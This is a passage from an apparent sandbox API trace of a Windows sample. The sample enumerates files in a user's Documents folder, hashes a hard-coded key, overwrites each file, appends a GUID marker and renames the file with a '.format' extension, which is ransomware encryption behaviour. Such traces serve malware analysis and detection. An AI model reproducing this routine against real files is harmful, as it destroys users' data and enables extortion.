hHeap=0x5d0000) returned 1 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.221] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="_private\\" [0068.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175418 [0068.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.221] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0068.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175418 | out: hHeap=0x5d0000) returned 1 [0068.221] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0068.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.221] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0068.221] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.221] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.221] PathFindFileNameW (pszPath="") returned="" [0068.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.221] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.223] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.223] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.223] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0068.223] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.223] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.223] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.223] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned=".ico" [0068.223] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.224] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=29926) returned 1 [0068.224] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.226] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x74c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.226] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.228] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.228] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x74e6, lpOverlapped=0x0) returned 1 [0068.229] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.229] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.229] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.229] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.229] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.230] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.230] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.230] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.230] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.230] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.230] GetLastError () returned 0x0 [0068.230] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.230] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.230] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.230] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x74f0) returned 0x32b2f40 [0068.230] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.231] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.231] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x74e1, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x74e1, lpOverlapped=0x0) returned 1 [0068.231] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.231] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x74e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.231] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.231] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.231] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.231] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.231] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.231] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.231] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.231] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.231] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.231] CloseHandle (hObject=0x5c8) returned 1 [0068.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a28f8 [0068.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0068.232] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a28f8 | out: hHeap=0x5d0000) returned 1 [0068.232] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico.format")) returned 1 [0068.233] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.233] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.234] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.234] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0068.234] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.234] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.234] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abd70 | out: hHeap=0x5d0000) returned 1 [0068.234] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.234] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a28f8 [0068.234] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.234] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.234] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.234] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.234] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2bf0 | out: hHeap=0x5d0000) returned 1 [0068.234] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.234] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.234] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.234] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2bf0 | out: hHeap=0x5d0000) returned 1 [0068.234] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.234] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.234] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.234] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2bf0 | out: hHeap=0x5d0000) returned 1 [0068.234] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.234] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.234] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.234] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2bf0 | out: hHeap=0x5d0000) returned 1 [0068.235] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\") returned="18tCh2fbWO9uqJ4SH0r\\" [0068.235] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\") returned="yiub\\" [0068.235] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0068.235] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.235] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.235] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.235] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.235] PathFindFileNameW (pszPath="") returned="" [0068.235] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7521da0, ftCreationTime.dwHighDateTime=0x1d4d552, ftLastAccessTime.dwLowDateTime=0xf18700e0, ftLastAccessTime.dwHighDateTime=0x1d4cbdb, ftLastWriteTime.dwLowDateTime=0xf18700e0, ftLastWriteTime.dwHighDateTime=0x1d4cbdb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.235] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2bf0 | out: hHeap=0x5d0000) returned 1 [0068.235] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7521da0, ftCreationTime.dwHighDateTime=0x1d4d552, ftLastAccessTime.dwLowDateTime=0xf18700e0, ftLastAccessTime.dwHighDateTime=0x1d4cbdb, ftLastWriteTime.dwLowDateTime=0xf18700e0, ftLastWriteTime.dwHighDateTime=0x1d4cbdb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.235] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51baff0, ftCreationTime.dwHighDateTime=0x1d4c5da, ftLastAccessTime.dwLowDateTime=0xf9c7c2a0, ftLastAccessTime.dwHighDateTime=0x1d4cbe3, ftLastWriteTime.dwLowDateTime=0xf9c7c2a0, ftLastWriteTime.dwHighDateTime=0x1d4cbe3, nFileSizeHigh=0x0, nFileSizeLow=0x152f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="953NwS YORsJs8ezCX.ppt", cAlternateFileName="953NWS~1.PPT")) returned 1 [0068.235] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\953NwS YORsJs8ezCX.ppt") returned=".ppt" [0068.235] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\953NwS YORsJs8ezCX.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\953nws yorsjs8ezcx.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.235] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=86774) returned 1 [0068.235] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.238] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x152d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.238] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.239] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x152f6, lpOverlapped=0x0) returned 1 [0068.239] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.239] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.239] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.239] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.240] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.240] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.240] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.240] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.240] GetLastError () returned 0x0 [0068.240] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.240] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.240] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.241] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x152f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.241] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.241] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.241] CloseHandle (hObject=0x5c8) returned 1 [0068.242] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\953NwS YORsJs8ezCX.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\953nws yorsjs8ezcx.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\953NwS YORsJs8ezCX.ppt.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\953nws yorsjs8ezcx.ppt.format")) returned 1 [0068.243] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.243] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.244] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0068.244] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d2c030, ftCreationTime.dwHighDateTime=0x1d4c84c, ftLastAccessTime.dwLowDateTime=0x3acc7370, ftLastAccessTime.dwHighDateTime=0x1d4d4ba, ftLastWriteTime.dwLowDateTime=0x3acc7370, ftLastWriteTime.dwHighDateTime=0x1d4d4ba, nFileSizeHigh=0x0, nFileSizeLow=0x13f13, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e90mXCi.pdf", cAlternateFileName="")) returned 1 